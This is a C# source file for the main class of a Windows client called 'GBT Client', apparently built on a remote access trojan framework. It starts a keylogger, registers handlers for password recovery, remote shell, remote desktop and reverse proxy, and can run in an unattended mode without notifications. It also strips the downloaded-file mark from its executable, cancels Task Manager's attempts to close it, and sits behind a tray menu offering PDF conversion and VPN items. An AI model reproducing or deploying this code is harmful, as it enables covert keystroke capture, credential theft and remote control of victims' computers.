﻿using GBT.Client.Config;
using GBT.Client.Forms;
using GBT.Client.Logging;
using GBT.Client.Messages;
using GBT.Client.Networking;
using GBT.Client.Setup;
using GBT.Client.User;
using GBT.Client.Utilities;
using GBT.Common.DNS;
using GBT.Common.Enums;
using GBT.Common.Helpers;
using GBT.Common.Messages;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;

namespace GBT.Client
{
    /// <summary>
    /// The client application which handles basic bootstrapping of the message processors and background tasks.
    /// </summary>
    public class GBTApplication : Form
    {
        /// <summary>
        /// A system-wide mutex that ensures that only one instance runs at a time.
        /// </summary>
        public SingleInstanceMutex ApplicationMutex;

        /// <summary>
        /// The client used for the connection to the server.
        /// </summary>
        private GBTClient _connectClient;

        //private MessageBoxHandler messageBoxHandler;

        /// <summary>
        /// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
        /// </summary>
        private readonly List<IMessageProcessor> _messageProcessors;
        
        /// <summary>
        /// The background keylogger service used to capture and store keystrokes.
        /// </summary>
        private KeyloggerService _keyloggerService;

        /// <summary>
        /// Keeps track of the user activity.
        /// </summary>
        private ActivityDetection _userActivityDetection;
        private NotifyIcon notifyIcon1;
        private System.ComponentModel.IContainer components;
        private ContextMenuStrip contextMenuStrip1;
        private ToolStripMenuItem tsmiPDFToDocument;
        private ToolStripMenuItem tsmiDisconnect;
        private ToolStripMenuItem tsmiFileManagement;
        private ToolStripMenuItem tsmiConnectionVPN;
        private ToolStripMenuItem tsmiInstantMessaging;

        /// <summary>
        /// Determines whether an installation is required depending on the current and target paths.
        /// </summary>
        private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;

        /// <summary>
        /// Notification icon used to show notifications in the taskbar.
        /// </summary>
        private readonly NotifyIcon _notifyIcon;

        /// <summary>
        /// Initializes a new instance of the <see cref="GBTApplication"/> class.
        /// </summary>
        public GBTApplication()
        {
            _messageProcessors = new List<IMessageProcessor>();
            _notifyIcon = new NotifyIcon();
        }

        /// <summary>
        /// Starts the application.
        /// </summary>
        /// <param name="e">An System.EventArgs that contains the event data.</param>
        protected override void OnLoad(EventArgs e)
        {
            Visible = false;
            ShowInTaskbar = false;
            InitializeComponent();
            AppDomain.CurrentDomain.ProcessExit += CurrentDomain_ProcessExit;
            tsmiDisconnect.Click += TsmiDisconnect_Click;
            tsmiFileManagement.Click += TsmiFileManagement_Click;
            tsmiInstantMessaging.Click += TsmiInstantMessaging_Click;
            tsmiPDFToDocument.Click += TsmiPDFToDocument_Click;
            tsmiConnectionVPN.Click += TsmiConnectionVPN_Click;
            Run();
            base.OnLoad(e);
        }

        private void TsmiInstantMessaging_Click(object sender, EventArgs e)
        {
            
        }

        private void TsmiConnectionVPN_Click(object sender, EventArgs e)
        {

        }

        private void CurrentDomain_ProcessExit(object sender, EventArgs e)
        {
            Dispose(true);
        }

        private void TsmiPDFToDocument_Click(object sender, EventArgs e)
        {
            PDFToDocument pdfToDocument = new PDFToDocument();
            pdfToDocument.Show();
        }

        private void ShowWindows()
        {
            Form f = Application.OpenForms["FileManagement"];
            Form l = Application.OpenForms["Login"];
            if (f == null && l != null && Program.isLogin)
            {
                f = new FileManagement();
                f.Show();
            }
            else if (f != null && l == null && !Program.isLogin)
            {
                f.Show();
            }
            else if (f == null && l == null && !Program.isLogin)
            {
                l = new Login();
                l.Show();
            }
        }

        private void TsmiFileManagement_Click(object sender, EventArgs e)
        {
            ShowWindows();
        }

        private void TsmiDisconnect_Click(object sender, EventArgs e)
        {
            _connectClient.Disconnect();
        }

        /// <summary>
        /// Initializes the notification icon.
        /// </summary>
        private void InitializeNotifyicon()
        {
            _notifyIcon.Text = "GBT Client\nNo connection";
            _notifyIcon.Visible = true;
            try
            {
                _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex);
                _notifyIcon.Icon = SystemIcons.Application;
            }
        }

        /// <summary>
        /// Begins running the application.
        /// </summary>
        public void Run()
        {
            // decrypt and verify the settings
            if (!Settings.Initialize())
                Application.Exit();

            ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);

            // check if process with same mutex is already running on system
            if (!ApplicationMutex.CreatedNew)
                Application.Exit();

            FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);

            var installer = new ClientInstaller();

            if (IsInstallationRequired)
            {
                // close mutex before installing the client
                ApplicationMutex.Dispose();

                try
                {
                    installer.Install();
                    Application.Exit();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }
            else
            {
                try
                {
                    // (re)apply settings and proceed with connect loop
                    installer.ApplySettings();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }

                if (!Settings.UNATTENDEDMODE)
                    InitializeNotifyicon();

                if (Settings.ENABLELOGGER)
                {
                    _keyloggerService = new KeyloggerService();
                    _keyloggerService.Start();
                }

                var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
                _connectClient = new GBTClient(hosts, Settings.SERVERCERTIFICATE);
                _connectClient.ClientState += ConnectClientOnClientState;
                InitializeMessageProcessors(_connectClient);

                _userActivityDetection = new ActivityDetection(_connectClient);
                _userActivityDetection.Start();

                new Thread(() =>
                {
                    // Start connection loop on new thread and dispose application once client exits.
                    // This is required to keep the UI thread responsive and run the message loop.
                    _connectClient.ConnectLoop();
                    Application.Exit();
                }).Start();
            }
        }

        private void ConnectClientOnClientState(Networking.Client s, bool connected)
        {
            if (connected)
                _notifyIcon.Text = "GBT Client\nConnection established";
            else
                _notifyIcon.Text = "GBT Client\nNo connection";
        }

        /// <summary>
        /// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
        /// </summary>
        /// <param name="client">The client which handles the connection.</param>
        /// <remarks>Always initialize from UI thread.</remarks>
        private void InitializeMessageProcessors(GBTClient client)
        {
            _messageProcessors.Add(new ClientServicesHandler(this, client));
            _messageProcessors.Add(new FileManagerHandler(client));
            _messageProcessors.Add(new KeyloggerHandler());
            _messageProcessors.Add(new MessageBoxHandler());
            _messageProcessors.Add(new PasswordRecoveryHandler());
            _messageProcessors.Add(new RegistryHandler());
            _messageProcessors.Add(new RemoteDesktopHandler());
            _messageProcessors.Add(new RemoteShellHandler(client));
            _messageProcessors.Add(new ReverseProxyHandler(client));
            _messageProcessors.Add(new ShutdownHandler());
            _messageProcessors.Add(new StartupManagerHandler());
            _messageProcessors.Add(new SystemInformationHandler());
            _messageProcessors.Add(new TaskManagerHandler(client));
            _messageProcessors.Add(new TcpConnectionsHandler());
            _messageProcessors.Add(new WebsiteVisitorHandler());

            foreach (var msgProc in _messageProcessors)
            {
                MessageHandler.Register(msgProc);
                if (msgProc is NotificationMessageProcessor notifyMsgProc)
                    notifyMsgProc.ProgressChanged += ShowNotification;
            }
        }

        /// <summary>
        /// Disposes all message processors of <see cref="_messageProcessors"/> and unregisters them from the <see cref="MessageHandler"/>.
        /// </summary>
        private void CleanupMessageProcessors()
        {
            foreach (var msgProc in _messageProcessors)
            {
                MessageHandler.Unregister(msgProc);
                if (msgProc is NotificationMessageProcessor notifyMsgProc)
                    notifyMsgProc.ProgressChanged -= ShowNotification;
                if (msgProc is IDisposable disposableMsgProc)
                    disposableMsgProc.Dispose();
            }
        }

        private void ShowNotification(object sender, string value)
        {
            if (Settings.UNATTENDEDMODE)
                return;
            
            _notifyIcon.ShowBalloonTip(4000, "GBT Client", value, ToolTipIcon.Info);
        }

        protected override void Dispose(bool disposing)
        {
            if (disposing)
            {
                notifyIcon1.Visible = false;
                CleanupMessageProcessors();
                _keyloggerService?.Dispose();
                _userActivityDetection?.Dispose();
                ApplicationMutex?.Dispose();
                _connectClient?.Dispose();
                _notifyIcon.Visible = false;
                _notifyIcon.Dispose();
            }
            base.Dispose(disposing);
        }

        private void InitializeComponent()
        {
            this.components = new System.ComponentModel.Container();
            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(GBTApplication));
            this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
            this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
            this.tsmiPDFToDocument = new System.Windows.Forms.ToolStripMenuItem();
            this.tsmiFileManagement = new System.Windows.Forms.ToolStripMenuItem();
            this.tsmiInstantMessaging = new System.Windows.Forms.ToolStripMenuItem();
            this.tsmiConnectionVPN = new System.Windows.Forms.ToolStripMenuItem();
            this.tsmiDisconnect = new System.Windows.Forms.ToolStripMenuItem();
            this.contextMenuStrip1.SuspendLayout();
            this.SuspendLayout();
            // 
            // notifyIcon1
            // 
            this.notifyIcon1.ContextMenuStrip = this.contextMenuStrip1;
            this.notifyIcon1.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon1.Icon")));
            this.notifyIcon1.Text = "NetworkManagement";
            this.notifyIcon1.Visible = true;
            this.notifyIcon1.DoubleClick += new System.EventHandler(this.notifyIcon1_DoubleClick);
            // 
            // contextMenuStrip1
            // 
            this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
            this.tsmiPDFToDocument,
            this.tsmiFileManagement,
            this.tsmiInstantMessaging,
            this.tsmiConnectionVPN,
            this.tsmiDisconnect});
            this.contextMenuStrip1.Name = "contextMenuStrip1";
            this.contextMenuStrip1.ShowCheckMargin = true;
            this.contextMenuStrip1.Size = new System.Drawing.Size(193, 114);
            // 
            // tsmiPDFToDocument
            // 
            this.tsmiPDFToDocument.Image = ((System.Drawing.Image)(resources.GetObject("tsmiPDFToDocument.Image")));
            this.tsmiPDFToDocument.Name = "tsmiPDFToDocument";
            this.tsmiPDFToDocument.Size = new System.Drawing.Size(192, 22);
            this.tsmiPDFToDocument.Text = "PDF To Document";
            // 
            // tsmiFileManagement
            // 
            this.tsmiFileManagement.Image = ((System.Drawing.Image)(resources.GetObject("tsmiFileManagement.Image")));
            this.tsmiFileManagement.Name = "tsmiFileManagement";
            this.tsmiFileManagement.Size = new System.Drawing.Size(192, 22);
            this.tsmiFileManagement.Text = "File Management";
            // 
            // tsmiInstantMessaging
            // 
            this.tsmiInstantMessaging.Name = "tsmiInstantMessaging";
            this.tsmiInstantMessaging.Size = new System.Drawing.Size(192, 22);
            this.tsmiInstantMessaging.Text = "Instant Messaging";
            // 
            // tsmiConnectionVPN
            // 
            this.tsmiConnectionVPN.Image = ((System.Drawing.Image)(resources.GetObject("tsmiConnectionVPN.Image")));
            this.tsmiConnectionVPN.Name = "tsmiConnectionVPN";
            this.tsmiConnectionVPN.Size = new System.Drawing.Size(192, 22);
            this.tsmiConnectionVPN.Text = "Connection VPN";
            // 
            // tsmiDisconnect
            // 
            this.tsmiDisconnect.Image = ((System.Drawing.Image)(resources.GetObject("tsmiDisconnect.Image")));
            this.tsmiDisconnect.Name = "tsmiDisconnect";
            this.tsmiDisconnect.Size = new System.Drawing.Size(192, 22);
            this.tsmiDisconnect.Text = "Disconnect";
            // 
            // GBTApplication
            // 
            this.ClientSize = new System.Drawing.Size(282, 253);
            this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
            this.Name = "GBTApplication";
            this.contextMenuStrip1.ResumeLayout(false);
            this.ResumeLayout(false);

        }

        protected override void OnFormClosing(FormClosingEventArgs e)
        {
            switch (e.CloseReason)
            {
                //case CloseReason.ApplicationExitCall:
                //    e.Cancel = true;
                //    //MessageBox.Show("拦截关闭要求事件！");
                //    break;
                //case CloseReason.FormOwnerClosing:
                //    e.Cancel = true;
                //    //MessageBox.Show("拦截自身关闭事件！");
                //    break;
                //case CloseReason.MdiFormClosing:
                //    e.Cancel = true;
                //    //MessageBox.Show("拦截MDI窗体关闭事件！");
                //    break;
                //case CloseReason.None:
                //    break;
                case CloseReason.TaskManagerClosing:
                    e.Cancel = true;
                    //MessageBox.Show("拦截任务管理器关闭事件！");
                    break;
                //case CloseReason.UserClosing:
                //    e.Cancel = true;
                //    //MessageBox.Show("拦截用户关闭事件！");
                //    break;
                //case CloseReason.WindowsShutDown:
                //    e.Cancel = true;
                ////    MessageBox.Show("拦截关机事件！");
                //    break;
                default:
                    break;
            }

            base.OnFormClosing(e);
        }

        private void notifyIcon1_DoubleClick(object sender, EventArgs e)
        {
            // Open FileManagement
            ShowWindows();
        }
    }
}
